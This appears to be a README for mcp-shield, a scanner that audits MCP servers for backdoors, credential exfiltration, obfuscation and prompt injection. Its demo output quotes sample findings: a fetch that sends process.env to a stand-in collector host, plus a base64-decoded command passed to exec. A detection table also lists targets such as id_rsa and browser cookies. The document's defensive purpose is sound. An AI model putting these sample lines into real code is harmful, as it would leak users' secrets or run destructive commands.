Which integrations are available for this server?

Allows scanning of MCP server code cloned from GitHub repositories, performing static analysis on JavaScript/TypeScript files to detect security vulnerabilities and malicious patterns. Enables scanning and auditing of npm packages containing MCP servers, analyzing source code for security risks and evaluating supply chain trustworthiness through package metadata and dependency analysis.

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

Category	Examples
Exfiltration	`process.env` sent over network, SSH key access, AWS credential reads
Code execution	`eval()`, `new Function()`, `child_process.exec()`, dynamic `require()`
Obfuscation	Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access	`.env`, `id_rsa`, browser cookies, `~/.gitconfig`
Prompt injection	Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain	Package age, download count, maintainer count, CVEs in dependencies

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

Tool	What it does
`scan_package`	Download an npm MCP package and scan it for malicious patterns
`scan_directory`	Scan a local MCP server directory (cloned from GitHub, etc.)
`check_prompt_injection`	Check tool descriptions or responses for hidden injections
`audit_supply_chain`	Get trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Install Server

A

security – no known vulnerabilities

A

license - permissive license

A

quality - A tier

How are these scores calculated?

Resources

Need Help?

Related Servers

mcp-shield

mcp-shield

What it detects

Demo

Tools

Installation

Option 1 — npx (no install)

Option 2 — global install

Option 3 — manual config

Usage examples

How it works

Contributing

License

Resources

Tools

Latest Blog Posts

MCP directory API